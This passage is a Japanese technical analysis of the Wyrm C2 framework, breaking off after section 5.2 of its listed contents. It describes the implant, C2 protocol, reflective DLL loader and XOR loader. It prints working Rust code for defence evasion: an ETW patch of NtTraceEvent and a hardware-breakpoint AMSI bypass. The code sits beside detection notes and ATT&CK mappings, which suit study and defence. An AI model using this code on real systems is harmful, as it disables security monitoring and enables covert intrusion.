- 1. プロジェクト概要
- 2. Implant (エージェント) 詳細
- 3. Reflective DLL Injection (rDI) エンジン
- 4. Loader (loader/)
- 5. 防御回避テクニック (Evasion)
- 6. プロセスインジェクション
- 7. .NETインメモリ実行 (execute/dotnet.rs)
- 8. DLLサイドローディングとエクスポートプロキシ (utils/proxy.rs, utils/export_comptime.rs)
- 9. Wyrm Object Files (WOFs) (wofs/, build.rs)
- 10. C2サーバ (c2/)
- 11. Operator Client (client/)
- 12. インフラストラクチャ
- 13. OPSEC評価と検知観点
- 14. まとめ
1. プロジェクト概要
Wyrm C2は Rust で書かれたオープンソースのCommand & Control (C2) フレームワークであり、Cobalt Strike、Mythic、Sliver等の商用/OSSツールに対抗するポスト・エクスプロイテーション基盤として設計されています。作者は 0xflux(GitHub: 0xflux)。現行バージョンは v0.7.2 (Hatchling) で、v1.0〜v4.0までのロードマップが策定されています。
アーキテクチャは以下の5つの主要クレートから構成されます:
| クレート | 役割 | 言語/フレームワーク |
|---|---|---|
implant/ |
Windows上で動作するポストエクスプロイテーション・エージェント (RAT本体) | Rust (no_std対応部分あり) |
c2/ |
C2サーバ (API + DB + ビルダー) | Rust / Axum / PostgreSQL |
client/ |
オペレータ用Web GUI | Rust / Leptos (WASM) |
loader/ |
rDLLのXOR暗号化ペイロードをメモリ展開するローダー | Rust (no_std) |
shared* |
implant/C2/client間で共有するデータ型・ネットワークプロトコル(shared, shared_no_std など) |
Rust |
インフラストラクチャは Docker Compose + NGINX(リバースプロキシ) + PostgreSQL + Caddy(クライアント配信)で構成されます。
技術的背景:
Rustの採用はC2フレームワーク開発において複数の戦術的利点を提供します。所有権システムによるメモリ安全性、CRT非依存のno_stdバイナリ生成能力、windows-sysクレートによるFFI呼び出しの型安全性、そしてLLVMバックエンドによる最適化がそれにあたります。特にno_std対応は、反射的ローディング環境でのmsvcrt.dll / ucrtbase.dll依存を排除し、EDRが監視するCRTフック(malloc/free等)をバイパスできる点が重要です。
windows-sysクレートはwindowsクレートと異なりCOMラッパーを含まない薄いFFIバインディングであるため、バイナリサイズが小さく、implantのフットプリント削減に寄与しています。
MITRE ATT&CK マッピング: T1587.001 (Develop Capabilities: Malware)
参考:
2. Implant (エージェント) 詳細
2.1 エントリポイントとライフサイクル
ビルド形態
implantは4つのバイナリ形態で出力されます:
- EXE (
main.rs) — 標準的な実行ファイル - DLL (
lib.rs) — reflective loading用のLoadエクスポートとDllMain、さらにプロファイルで定義されたカスタムエクスポートを持つ - SVC (
main_svc.rs) — Windowsサービスとして動作。StartServiceCtrlDispatcherW→ServiceMain→start_wyrm()の流れ - Loader (
loader/) — rDLLをXOR暗号化して.textセクションに埋め込んだラッパー
SVC形態の内部動作:
SVC形態は#![no_std] / #![no_main]で構築され、StartServiceCtrlDispatcherWでサービスディスパッチテーブルを登録します。ServiceMain関数内でRegisterServiceCtrlHandlerExWを呼び出し、サービスステータスをSERVICE_RUNNINGに更新した後start_wyrm()を実行します。SERVICE_CONTROL_STOPの受信はAtomicBool(SERVICE_STOP_EVENT)で管理されます。サービス名はプロファイルのsvc_nameフィールドで設定可能で、service_name_pwstr!()マクロでコンパイル時にUTF-16リテラルに変換されます。
技術的ポイント: SVCはIS_IMPLANT_SVCフラグをグローバルAtomicBoolで管理しており、KillAgentコマンド受信時にサービス固有の終了処理(stop_svc_and_exit())を実行する分岐に利用されます。通常のEXE/DLL形態ではExitProcess(0)が直接呼ばれます。
起動シーケンス (entry.rs: start_wyrm())
start_wyrm()
├─ APPLICATION_RUNNING = true (AtomicBool)
├─ init_agent_console() // デバッグコンソール初期化
├─ on_start_evasion()
│ ├─ anti_sandbox() // feature gate: sandbox_trig, sandbox_mem
│ │ ├─ trig_mouse_movements() // マウス移動を監視しサンドボックス判定
│ │ └─ validate_ram_sz_or_panic() // RAM容量チェック
│ └─ run_evasion()
│ └─ etw_bypass() // feature gate: patch_etw
│ └─ NtTraceEventの先頭を0xC3 (RET) でパッチ
├─ Wyrm::new() // コンパイル時埋め込みのIOCを復号し構造体初期化
│ ├─ translate_build_artifacts() // コンパイル時暗号化されたC2設定の復号
│ ├─ WyrmMutex::new() // Mutexによる多重起動防止
│ └─ build_implant_id() // ランダムなimplant ID生成
├─ first_check_in() // 初回C2接続 (設定取得・登録)
│ └─ configuration_connection() → HTTP POST
└─ メインループ
├─ get_tasks_http() // HTTP GETでタスク取得
├─ dispatch_tasks() // タスク実行
└─ Sleep(calculate_sleep_seconds()) // sleep + jitter
Mutexによる多重起動防止の実装詳細:
WyrmMutex::new()はOpenMutexA(SYNCHRONIZE, FALSE, name)で既存Mutexの有無を確認し、存在する場合はSome(())を返して起動を中断します。Mutex名はプロファイルのmutexフィールドで指定され、generate_mutex_name()で加工されます。これにより同一ホスト上でのimplant多重起動を防止し、異常な挙動を抑制します。
MITRE ATT&CK マッピング: T1106 (Native API), T1569.002 (System Services: Service Execution)
カスタムアロケータ (utils/allocate.rs)
ProcessHeapAllocをグローバルアロケータ(#[global_allocator])として使用。Rustの標準ヒープアロケータ(通常はSystem、内部でHeapAlloc/HeapFreeをCRT経由で呼び出す)の代わりに、Windows Process Heapを直接利用します。
なぜ標準アロケータを使わないのか:
標準Rustアロケータは__rust_alloc → _aligned_malloc(MSVC CRT)あるいはmalloc(MinGW)を経由します。rDLL環境ではCRT初期化(_DllMainCRTStartup)が完了していないため、これらのCRT関数呼び出しはクラッシュの原因となります。ProcessHeapAllocはGetProcessHeap() + HeapAlloc()/HeapFree()を直接呼び出すため、CRT依存を完全に排除できます。
加えて、EDR製品の一部はCRTのmalloc/freeをフックして異常なメモリパターンを監視するため、Process Heapの直接使用はこの検知面も回避します。
参考:
2.2 コンパイル時設定の埋め込み (utils/comptime.rs, build.rs)
implantのIOC (Indicator of Compromise) はすべてコンパイル時に暗号化されてバイナリに埋め込まれます。
埋め込みの2段階メカニズム:
build.rs: C2サーバがペイロードビルド時に環境変数(DEF_SLEEP_TIME,C2_HOST,C2_URIS,C2_PORT,SECURITY_TOKEN,USERAGENT,AGENT_NAME,JITTER,SVC_NAME,MUTEX,DEFAULT_SPAWN_AS,WOF等)をcargo:rustc-env=KEY=VALUEとして渡すstr_crypterクレートのsc!マクロ:option_env!()で取得した文字列リテラルをコンパイル時にXOR暗号化。暗号化された[u8]配列がバイナリの.rdataセクションに埋め込まれ、実行時にスタック上で復号される
// comptime.rsでの使用例(概念) let sleep_seconds: u64 = option_env!("DEF_SLEEP_TIME").unwrap().parse().unwrap(); const URL: &str = option_env!("C2_HOST").unwrap_or_default();
sc!マクロは復号されたデータをスタック上に配置するため、ヒープに平文が残存するリスクを低減します。ただし、スタックメモリのスキャンでは検出可能です。
serde(rename = "a")によるフィールド名ストンプ: shared/src/stomped_structs.rsでネットワーク通信用の構造体フィールド名を1文字にリネームし、JSONシリアライズ後のトラフィックサイズと可読性を低減しています。
検知観点: YARAルールによる静的文字列マッチングは事実上無効化されますが、sc!マクロの復号ルーチン自体のバイトパターンをシグネチャ化することは可能です。また、メモリフォレンジクスではスタック上の復号済み文字列を捕捉できる可能性があります。
MITRE ATT&CK マッピング: T1027 (Obfuscated Files or Information), T1027.013 (Encrypted/Encoded File)
参考:
2.3 ネットワーク通信プロトコル (comms.rs, shared/src/net.rs)
通信フロー
Implant → C2: HTTP GET (タスク取得 / チェックイン) Implant → C2: HTTP POST (完了タスク送信 / 初回チェックイン / ファイルexfil)
ヘッダ構成
| ヘッダ | 用途 |
|---|---|
WWW-Authenticate |
Implant IDの送信 |
Authorization |
セキュリティトークン |
User-Agent |
プロファイルで設定可能なUA |
Content-Type |
application/json(POST時) |
ヘッダ生成の実装 (comms.rs: generate_generic_headers()):
fn generate_generic_headers(implant_id: &str, security_token: &str, ua: &str) -> HeaderMap { let mut headers = HeaderMap::new(); headers.insert(WWW_AUTHENTICATE, implant_id.parse().unwrap()); headers.insert(USER_AGENT, ua.parse().unwrap()); headers.insert(AUTHORIZATION, security_token.parse().unwrap()); headers }
WWW-Authenticateヘッダは通常サーバからクライアントへの認証チャレンジに使われるヘッダであり、クライアント→サーバ方向での使用はHTTP仕様上異例です。これはネットワーク解析者にとって強いIOCとなります。
データの暗号化と通信プロトコル詳細
TLS下層で追加のXOR暗号化が適用されます。暗号化キーはshared/src/net.rsでハードコードされています:
const NET_XOR_KEY: u8 = 0x3d; // ネットワーク通信用XORキー pub const STR_CRYPT_XOR_KEY: u8 = 0x1f; // 文字列暗号化用キー
タスクのシリアライズフォーマット:
C2→Implantのタスク配信は独自バイナリフォーマットを使用します(shared/src/net.rs: decode_http_response()):
[4 bytes: task_id (i32 LE)] // データベース上のタスクID [4 bytes: command (i32 LE)] // Command列挙型の整数値 [8 bytes: timestamp (i64 LE)] // エポック秒 [残り: metadata (UTF-16 LE)] // コマンド引数等(オプション)
各タスクは個別にXOR暗号化された後、JSON配列(Vec<Vec<u8>>)としてシリアライズされて送信されます。
Implant→C2の完了タスク送信:
完了タスクはUTF-16エンコード(encode_u16buf_to_u8buf())後にXOR暗号化され、同様にJSON配列として送信されます。UTF-16エンコードはWindowsのワイド文字列(LPCWSTR等)との互換性を保つための設計です。
送信フロー: completed_tasks (Vec<u16>) → encode_u16buf_to_u8buf() → xor_network_stream() → JSON array → HTTP POST
HTTPクライアント: ureqクレートを使用。TLSプロバイダはrustls(pure Rust TLS実装)です。レスポンスサイズ上限はMAX_RESPONSE_SZ_BYTES = 500MB。
エンドポイントランダマイズ
construct_c2_url()はプロファイルで定義された複数のURIからランダムに1つを選択します。SmallRng(OsRngでシードされた軽量PRNG)を使用し、暗号学的安全性は求めないが十分なランダム性を提供します。
プロキシ自動検出
resolve_web_proxy()はWindowsのWinHttpGetProxyForUrl APIを呼び出してPAC(Proxy Auto-Configuration)ファイルを解決し、企業環境のプロキシ設定を自動取得します。取得したプロキシURLはureq::Proxyに変換されてHTTPクライアントに適用されます。
検知観点: JA3/JA4フィンガープリントはrustls固有のものとなり、一般的なブラウザとは異なるパターンを示します。HTTPヘッダのWWW-Authenticateフィールドにimplant IDが含まれる点は強力なIOCです。
MITRE ATT&CK マッピング: T1071.001 (Application Layer Protocol: Web Protocols), T1573.001 (Encrypted Channel: Symmetric Cryptography), T1090 (Proxy)
参考:
2.4 コマンドディスパッチャー (wyrm.rs: dispatch_tasks())
implantのメインコマンドディスパッチャーはVecDeque<Task>キューからタスクを順次処理します。サポートされるコマンド一覧:
| コマンド | 関数/処理 | 説明 |
|---|---|---|
Sleep |
update_sleep_time() |
スリープ時間の更新 |
Ps |
running_process_details() |
プロセス一覧取得(CreateToolhelp32Snapshot + Process32First/Next) |
GetUsername |
get_logged_in_username() |
現在のユーザー名取得 |
Pillage |
pillage() |
ファイルシステム探索・機密情報収集 |
Pwd |
直接処理 | カレントディレクトリ取得 |
Cd |
change_directory() |
ディレクトリ変更 |
Ls |
dir_listing() |
ディレクトリ一覧 |
Run |
run_powershell() |
PowerShellコマンド実行 |
KillProcess |
kill_process() |
指定PIDのプロセス終了(TerminateProcess) |
Drop |
drop_file_to_disk() |
ステージドファイルのディスク書き込み |
Copy / Move |
move_or_copy_file() |
ファイルコピー/移動 |
Rm / RmDir |
rm_from_fs() |
ファイル/ディレクトリ削除 |
Pull |
pull_file() |
ターゲットからファイル取得(exfiltration) |
RegQuery / RegAdd / RegDel |
reg_query() / reg_add() / reg_del() |
レジストリ操作 |
DotnetExec |
execute_dotnet_current_process() |
.NETアセンブリのインメモリ実行 |
Spawn |
Spawn::execute() |
Early Cascade Injectionによる新プロセス生成+injection |
Inject |
Inject::execute() |
既存プロセスへのinjection |
Wof / WofWithArg |
call_static_wof_no_arg() / call_static_wof_with_arg() |
WOF実行 |
KillAgent |
ExitProcess(0) / stop_svc_and_exit() |
エージェント終了 |
PowerShell実行の実装 (native/shell.rs):
pub fn run_powershell(command: &Option<String>, implant: &Wyrm) -> Option<impl Serialize> { let output = Command::new("powershell") .arg(command) .current_dir(&implant.current_working_directory) .output() .ok()?; // stdout/stderr をキャプチャして返却 }
std::process::CommandでPowerShellプロセスを起動するシンプルな実装です。current_dirでimplantの現在のワーキングディレクトリを引き継ぎます。この方式はEDRに容易に検知される(powershell.exeの子プロセス生成)ため、高セキュリティ環境ではDotnetExecやWOFの使用が推奨されます。
プロセス列挙の実装 (native/processes.rs):
CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0) → Process32First / Process32Nextでプロセス一覧を取得。各プロセスに対してOpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) → OpenProcessToken(TOKEN_QUERY) → GetTokenInformation(TokenUser) → LookupAccountSidWでユーザーSIDを名前に変換し、プロセスの実行ユーザーを特定します。
MITRE ATT&CK マッピング: T1059.001 (PowerShell), T1057 (Process Discovery), T1083 (File and Directory Discovery), T1012 (Query Registry)
3. Reflective DLL Injection (rDI) エンジン
3.1 概要
implant/src/stubs/rdi.rs はimplant DLL自身を 完全にno_std で反射的にロードするスタブです。外部ツール(カスタムローダー、Cobalt Strike等)からはLoadエクスポートを呼び出すだけで動作します。
Stephen Fewerが2008年に発表したオリジナルのReflective DLL Injection技法をRustで再実装したものです。オリジナルとの主な違いは、Rustのno_std環境で型安全に実装されている点と、PEB走査がインラインアセンブリで行われる点です。
3.2 Load() エクスポートの処理フロー
Load(image_base: *mut c_void)
├─ RdiExports::new()
│ └─ PEB → InMemoryOrderModuleList を走査して
│ kernel32.dll から以下を解決:
│ - VirtualAlloc
│ - VirtualProtect
│ - LoadLibraryA
│ - GetProcAddress
│ - FlushInstructionCache
│ - GetCurrentProcess
├─ [optional] nostd_patch_etw_current_process() // ETWパッチ (feature gate)
├─ calculate_image_base() // 自身のPEベースアドレス推定
├─ DOSヘッダ / NTヘッダの解析 (read_unaligned)
├─ VirtualAlloc(SizeOfImage, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
├─ write_payload() // ヘッダ + セクションをマッピング
├─ process_relocations() // ベースリロケーション処理
│ └─ IMAGE_REL_BASED_DIR64 / IMAGE_REL_BASED_HIGHLOW に対応
├─ patch_iat() // IAT解決
│ └─ IMAGE_IMPORT_DESCRIPTOR を走査
│ ├─ LoadLibraryA() でDLLロード
│ └─ ordinal/名前ベースでGetProcAddress()
├─ relocate_and_commit() // セクション保護属性の適用
│ └─ 各セクションに対して VirtualProtect() で
│ R/W/X フラグを正しく設定
│ └─ FlushInstructionCache()
└─ find_export_address("Start") → Start() 呼び出し
└─ Start() = start_wyrm() のラッパー
API解決の詳細 (RdiExports::new())
RdiExports構造体は6つの関数ポインタを保持します。各関数ポインタはexport_resolver::resolve_address()で解決されます:
struct RdiExports { LoadLibraryA: unsafe extern "system" fn(PCSTR) -> HMODULE, VirtualAlloc: unsafe extern "system" fn(*const c_void, usize, u32, u32) -> *mut c_void, VirtualProtect: unsafe extern "system" fn(*const c_void, usize, u32, *mut u32) -> BOOL, GetProcAddresS: unsafe extern "system" fn(HMODULE, PCSTR) -> FARPROC, FlushInstructionCache: unsafe extern "system" fn(HANDLE, *mut c_void, usize) -> BOOL, GetCurrentProcess: unsafe extern "system" fn() -> HANDLE, }
解決後、各ポインタがnullでないことをバリデーションし、1つでも失敗すればNoneを返して処理を中断します。transmuteで生ポインタから型付き関数ポインタに変換します。
calculate_image_base() — 自己ベースアドレス推定
Early Cascade InjectionではLoad()に引数としてベースアドレスを渡せないケースがあるため、自己発見メカニズムが実装されています:
fn calculate_image_base() -> Option<*mut c_void> { let load_addr = Load as *const () as usize; let mut current = load_addr & !0xFFFF; // 64KBアラインメント境界に切り下げ for _ in 0..16 { if is_valid_pe_base(current) { return Some(current as *mut c_void); } current = current.wrapping_sub(0x10000); // 64KB単位で後退 } None }
Load関数自身のアドレスから64KBアラインメント境界に切り下げ、最大16回(=1MB範囲)後退しながらPEシグネチャを探索します。is_valid_pe_base()は以下の5段階バリデーションを実行:
e_lfanewの範囲チェック(0x40〜0x1000)- PEシグネチャ(
0x00004550= "PE\0\0")の検証 - マシンタイプ(
0x8664= AMD64)の確認 - OptionalHeaderマジック(
0x020B= PE32+)の確認 SizeOfImageの妥当性(0〜50MBの範囲)
この64KBアラインメントはWindowsのVirtualAllocがデフォルトで64KB境界にアラインされたアドレスを返すことに基づいています。
セクションマッピング (write_payload())
fn write_payload(new_base, old_base, nt_headers_ptr, nt_headers) { // NTヘッダからセクションヘッダのオフセットを計算 let section_header_offset = (nt_headers_ptr - old_base) + size_of::<u32>() // Signature + size_of::<IMAGE_FILE_HEADER>() // FileHeader + nt_headers.FileHeader.SizeOfOptionalHeader; // 各セクションをコピー for i in 0..nt_headers.FileHeader.NumberOfSections { let header_i = read_unaligned(section_header_ptr.add(i)); copy_nonoverlapping( old_base.add(header_i.PointerToRawData), // ソース: ファイル上のオフセット new_base.add(header_i.VirtualAddress), // 宛先: メモリ上のRVA header_i.SizeOfRawData ); } // PEヘッダもコピー copy_nonoverlapping(old_base, new_base, nt_headers.OptionalHeader.SizeOfHeaders); }
ベースリロケーション処理 (process_relocations())
リロケーションデルタ(実際のロードアドレスとImageBaseの差分)を計算し、IMAGE_BASE_RELOCATIONブロックを走査します:
let load_diff = p_image_base as isize - (*p_nt_headers).OptionalHeader.ImageBase as isize;
各リロケーションエントリの上位4ビットがタイプを示し、下位12ビットがブロック内オフセットとなります:
| タイプ | 値 | 処理 |
|---|---|---|
IMAGE_REL_BASED_DIR64 |
10 | 64ビットアドレスにデルタを加算 |
IMAGE_REL_BASED_HIGHLOW |
3 | 32ビットアドレスにデルタを加算 |
その他(ABSOLUTE等) |
0 | パディング、スキップ |
IAT解決 (patch_iat())
IMAGE_IMPORT_DESCRIPTORの連鎖リストを走査し、各インポートDLLに対して:
LoadLibraryA()でDLLをロード- 各サンク(
IMAGE_THUNK_DATA64)について:IMAGE_ORDINAL_FLAG64がセットされていればOrdinalベースでGetProcAddress()- そうでなければ名前ベースで
GetProcAddress()
- 解決されたアドレスをIATエントリに書き戻し
セクション保護の適用 (relocate_and_commit())
各セクションのCharacteristicsフィールドからIMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITEフラグを組み合わせて適切な保護属性をマッピング:
| R | W | X | 保護属性 |
|---|---|---|---|
| 0 | 0 | 0 | PAGE_NOACCESS |
| 0 | 1 | 0 | PAGE_WRITECOPY |
| 1 | 0 | 0 | PAGE_READONLY |
| 1 | 1 | 0 | PAGE_READWRITE |
| 0 | 0 | 1 | PAGE_EXECUTE |
| 1 | 0 | 1 | PAGE_EXECUTE_READ |
| 1 | 1 | 1 | PAGE_EXECUTE_READWRITE |
最後にFlushInstructionCache(GetCurrentProcess(), NULL, 0)でCPUの命令キャッシュを無効化し、書き込んだコードの確実な実行を保証します。
エラーハンドリング
RdiErrorCodes列挙型で段階的にエラーを報告:
| コード | 値 | 意味 |
|---|---|---|
Success |
0 | 成功 |
CouldNotParseExports |
1 | API解決失敗 |
RelocationsNull |
2 | リロケーションテーブルが無効 |
MalformedVirtualAddress |
3 | インポートテーブルのVAが不正 |
ImportDescriptorNull |
4 | インポートディスクリプタがNULL |
NoEntry |
5 | "Start"エクスポートが見つからない |
3.3 Export解決メカニズム (shared_no_std/src/export_resolver.rs)
独立したPEB走査ベースのexport resolver(作者のPE-Export-Resolverクレートのローカルコピー)を使用します。
PEB走査のインラインアセンブリ
TEB (gs:[0x60]) → PEB → PEB_LDR_DATA → InMemoryOrderModuleList
x64環境ではgsセグメントレジスタのオフセット0x60がPEBを指します。LdrフィールドからPEB_LDR_DATAを取得し、InMemoryOrderModuleList(ロード順のモジュール双方向リスト)を走査して目的のDLL(大文字小文字を無視した名前比較)のベースアドレスを取得します。
Export Tableの手動パース
取得したDLLベースアドレスから:
DOSヘッダ → NTヘッダ → OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT] → IMAGE_EXPORT_DIRECTORY を取得 → AddressOfNames (名前テーブル) / AddressOfNameOrdinals (序数テーブル) / AddressOfFunctions (関数アドレステーブル) を照合して関数ポインタを返却
Ordinalベースの解決もサポート(IMAGE_ORDINAL_FLAG64チェック)。未マップファイルからのexport解決(find_export_from_unmapped_file())にも対応しており、Early Cascade Injectionでリモートプロセスのメモリに書き込む前のアドレス計算に使用されます。
検知観点: PEB走査自体は正規プログラムでも使用されることがありますが、GetProcAddressを呼ばずにExport Tableを直接パースする挙動はマルウェアの典型的パターンです。ただしrDIブートストラップ時の一瞬のみであり、継続的な監視は困難です。
3.4 PEヘッダスタンプ (utils/pe_stomp.rs)
rDIでメモリにロードされたDLLのPEヘッダを破壊します:
- オフセット0〜50バイト(MZヘッダ)をゼロ埋め(e_lfanewを保持しつつ)
- オフセット0x4E〜0x73("This program cannot be run in DOS mode...")をゼロ埋め
目的: メモリスキャナ(Moneta、pe-sieve、MalMemDetect等)はunbacked memoryからPEシグネチャ(MZヘッダ、DOSスタブ)を検索してインメモリPEを検出します。これらのマジックバイトを破壊することで検出を回避します。
限界: NTヘッダ、セクションテーブル、Import/Exportテーブル等のPE構造は残存するため、より高度なスキャナ(NTヘッダのPEシグネチャチェック等)では検知可能です。
MITRE ATT&CK マッピング: T1620 (Reflective Code Loading), T1055.001 (Process Injection: DLL Injection)
参考:
- Stephen FewerのオリジナルrDI(2008): GitHub - stephenfewer/ReflectiveDLLInjection
- Reflective DLL Injection - Exploit-DB Paper
- PE Format Specification
- Moneta memory scanner
4. Loader (loader/)
4.1 設計
loaderは完全なno_std/no_main DLLとして構築されます。rDLLペイロードをXOR暗号化(キー: 0x90)した状態で.textセクションにinclude_bytes!で埋め込みます。
include_bytes!マクロの使用: Rustコンパイラの組み込みマクロで、指定ファイルの内容を&[u8]スライスとしてバイナリに直接埋め込みます。ペイロードはbuild.rsが事前にXOR暗号化したrdll_encrypted.binファイルです。
const DLL_BYTES: &[u8] = include_bytes!(concat!(env!("OUT_DIR"), "/rdll_encrypted.bin")); const ENCRYPTION_KEY: u8 = 0x90;
4.2 実行フロー (loader/src/injector.rs)
inject_current_process()
├─ VirtualAlloc(DLL_BYTES.len(), PAGE_READWRITE)
├─ copy_nonoverlapping(DLL_BYTES → allocated memory)
├─ XORデコード: for i in 0..len { *ptr.add(i) ^= 0x90 }
├─ DOSヘッダからe_lfanew → NTヘッダ取得
├─ find_export_address(p_decrypt, mapped_nt_ptr, "Load")
│ └─ 未マップPEからのexportアドレス解決
├─ VirtualProtect(PAGE_EXECUTE_READWRITE)
├─ transmute で関数ポインタ型にキャスト:
│ let reflective_load: unsafe extern "system" fn(*mut c_void) -> u32
└─ reflective_load(p_decrypt) → rDIフロー開始
XOR暗号化キー0x90の特性: 0x90はx86のNOP命令のオペコードです。これは暗号学的には弱い(既知平文攻撃に対して脆弱)ものの、静的解析ツールがPEヘッダのマジックバイト(MZ=0x4D5A)を直接検出することを防ぎます。0x4D ^ 0x90 = 0xDD, 0x5A ^ 0x90 = 0xCAとなるため、MZパターンマッチは無効化されます。
重要な検知ポイント: VirtualAlloc(PAGE_READWRITE) → VirtualProtect(PAGE_EXECUTE_READWRITE)のシーケンスは、メモリ保護属性の昇格パターンとしてEDRに監視されます。
4.3 エクスポート構成 (loader/src/export_comptime.rs)
loaderはimplantと同様のビルド時エクスポート生成メカニズムを持ち、DLLサイドローディング用のカスタムエクスポートを定義可能です。StartType列挙型で起動方式を選択:
Thread:CreateThreadで新スレッドを生成しinject_current_process()を実行Inline: 現在のスレッドで直接inject_current_process()を実行FromExport: カスタムエクスポート経由での呼び出し(内部的にThreadと同等の動作)
MITRE ATT&CK マッピング: T1129 (Shared Modules), T1574.002 (Hijack Execution Flow: DLL Side-Loading)
参考:
5. 防御回避テクニック (Evasion)
5.1 ETW (Event Tracing for Windows) バイパス (evasion/etw.rs, stubs/rdi.rs)
手法の概要
ntdll.dllのNtTraceEventの先頭バイトを0xC3 (RET命令) で上書きすることで、ETWイベントの発行を無効化します。
2つの実装
Wyrmは2つの独立したETWバイパス実装を持ちます:
1. 標準環境版 (evasion/etw.rs):
std環境で動作し、WriteProcessMemoryを使用:
fn evade_etw_current_process_overwrite_ntdll() -> Result<(), ExportResolveError> { let fn_addr = export_resolver::resolve_address("ntdll.dll", "NtTraceEvent", None)?; // 二重パッチ防止 if unsafe { *(fn_addr as *mut u8) } == 0xC3 { return Ok(()); } let handle = unsafe { GetCurrentProcess() }; let ret_opcode: u8 = 0xC3; unsafe { WriteProcessMemory(handle, fn_addr, &ret_opcode as *const u8 as _, 1, &mut 0); }; Ok(()) }
2. no_std版 (stubs/rdi.rs: nostd_patch_etw_current_process()):
rDIブートストラップ段階で使用。RdiExportsのVirtualProtectを直接使用:
fn nostd_patch_etw_current_process(exports: &RdiExports) { let fn_addr = export_resolver::resolve_address("ntdll.dll", "NtTraceEvent", None) .unwrap_or_default() as *mut u8; if unsafe { *fn_addr } == 0xC3 { return; } // 二重パッチ防止 let mut old_protect: u32 = 0; (exports.VirtualProtect)(fn_addr as _, 1, PAGE_EXECUTE_READWRITE, &mut old_protect); core::ptr::write_bytes(fn_addr, 0xC3, 1); // パッチ適用 (exports.VirtualProtect)(fn_addr as _, 1, old_protect, &mut 0); // 保護属性復元 }
no_std版はメモリ保護属性を正しく復元する点が標準版より丁寧です(PAGE_EXECUTE_READWRITE → 元の属性)。
ETWバイパスの技術的背景
ETWはWindowsの統合トレーシング機能で、多くのEDR製品がプロセスの挙動監視に利用しています。NtTraceEventはすべてのETWイベント発行の最終経路(ユーザーモード側)であり、これをRET命令で即座にリターンさせることで、プロセス内のすべてのETWイベント(.NETランタイムイベント、セキュリティ監査イベント等)を黙殺します。
検知手法: ntdll.dllのメモリイメージとディスク上のイメージを比較するintegrity check。先頭バイトが0xC3に変更されていることを検出可能。Microsoft Defender for Endpointの「Tampering with ETW」検知ルール等。
MITRE ATT&CK マッピング: T1562.001 (Impair Defenses: Disable or Modify Tools)
参考:
5.2 AMSI (Antimalware Scan Interface) バイパス (evasion/amsi.rs, evasion/veh.rs)
現行手法: VEH² (Vectored Exception Handler Squared)
従来のAMSIバイパス(AmsiScanBufferの先頭を0xC3で上書き)は関数コードの直接改ざんが必要で、EDRのメモリ整合性チェックで容易に検知されます。VEH²はこれを回避する高度な手法です。
実装の詳細ステップ
Step 1: VEHハンドラの登録 (amsi.rs: amsi_veh_squared())
fn amsi_veh_squared() -> bool { let h = unsafe { AddVectoredExceptionHandler(1, Some(veh_handler)) }; if h.is_null() { return false; } unsafe { core::arch::asm!("int3") }; // BREAKPOINT例外を意図的に発生 true }
AddVectoredExceptionHandlerの第1引数1は「最初に呼ばれるハンドラ」を意味します。
Step 2: VEHハンドラの処理 (veh.rs: veh_handler())
unsafe extern "system" fn veh_handler(p_ep: *mut EXCEPTION_POINTERS) -> i32 { let exception_record = *(*p_ep).ExceptionRecord; let ctx = &mut *(*p_ep).ContextRecord; if exception_record.ExceptionCode == EXCEPTION_BREAKPOINT { // Phase 1: ハードウェアブレークポイントの設定 if let Some(p_amsi_scan_buf) = addr_of_amsi_scan_buf() { ctx.Dr0 = p_amsi_scan_buf as u64; // Dr0にAmsiScanBufferのアドレスを設定 ctx.Dr7 |= 1; // Dr0をローカル有効化(ビット0) } ctx.Rip += 1; // int3命令(1バイト)の次へ進む ctx.ContextFlags |= CONTEXT_DEBUG_REGISTERS_AMD64; ctx.Dr6 = 0; // デバッグステータスレジスタをクリア return EXCEPTION_CONTINUE_EXECUTION; } if exception_record.ExceptionCode == EXCEPTION_SINGLE_STEP { // Phase 2: AmsiScanBufferが呼ばれた時の処理 if (ctx.Dr6 & 0x1) == 0 { return EXCEPTION_CONTINUE_SEARCH; } // 他のBP由来なら無視 ctx.Rax = 0x80070057; // E_INVALIDARG をセット → AMSI_RESULT_CLEAN扱い ctx.Dr0 = 0; // ブレークポイント解除 ctx.Dr7 &= !(1u64); // Dr0を無効化 ctx.Dr6 = 0; ctx.Rip = /* AmsiScanBufferのリターンアドレス */; return EXCEPTION_CONTINUE_EXECUTION; } EXCEPTION_CONTINUE_SEARCH }
動作原理の詳細
Phase 1 (EXCEPTION_BREAKPOINT):
int3命令で意図的にブレークポイント例外を発生。VEHハンドラ内でハードウェアブレークポイント(Dr0レジスタ)にAmsiScanBufferのアドレスを設定し、Dr7で有効化。これによりAmsiScanBufferが呼び出されるとEXCEPTION_SINGLE_STEPが発生するようになる。Phase 2 (EXCEPTION_SINGLE_STEP):
AmsiScanBufferが実行開始した瞬間にハードウェアブレークポイントがトリガーされ、VEHハンドラが制御を取得。RaxレジスタにE_INVALIDARG (0x80070057)をセットし、関数のリターンアドレスにRipを変更。これによりAmsiScanBufferは何もスキャンせずに「引数エラー」で返る。呼び出し元はスキャン結果を「クリーン」と解釈する。
デコイロードの重要性
.NET実行前にamsi.dllがロードされていない可能性があるため、空のバイト配列([0x00, 0x00, 0x00, 0x00])をデコイとしてCLRのLoad_3に渡し、AMSIのロードを強制します:
let decoy_buf = [0x00, 0x00, 0x00, 0x00]; let p_decoy_sa = create_safe_array(&decoy_buf)?; let _res = unsafe { load_3(app_domain as *mut _, p_decoy_sa, &mut sp_assembly) }; // デコイのロード結果はエラーだが無視(目的はamsi.dllの強制ロード) // amsi.dllがロードされたのでVEH²を適用 evade_amsi(); // 本命アセンブリをAMSIバイパス下でロード let res = unsafe { load_3(app_domain as *mut _, p_sa, &mut sp_assembly) };
旧手法(無効化済み)
amsi_patch_ntdll()はAmsiScanBufferの先頭を0xC3 (RET) で直接上書きする従来手法。コード内でコメントアウトされVEH²に置き換えられています。
検知観点: AddVectoredExceptionHandlerのAPI呼び出し自体、およびDr0/Dr7レジスタの変更はETW(ただしETWも無効化済み)やカーネルコールバックで監視可能。ただし関数コードの直接改ざんがないため、メモリ整合性チェックでは検知不可。
MITRE ATT&CK マッピング: T1562.001 (Impair Defenses: Disable or Modify Tools)
参考:
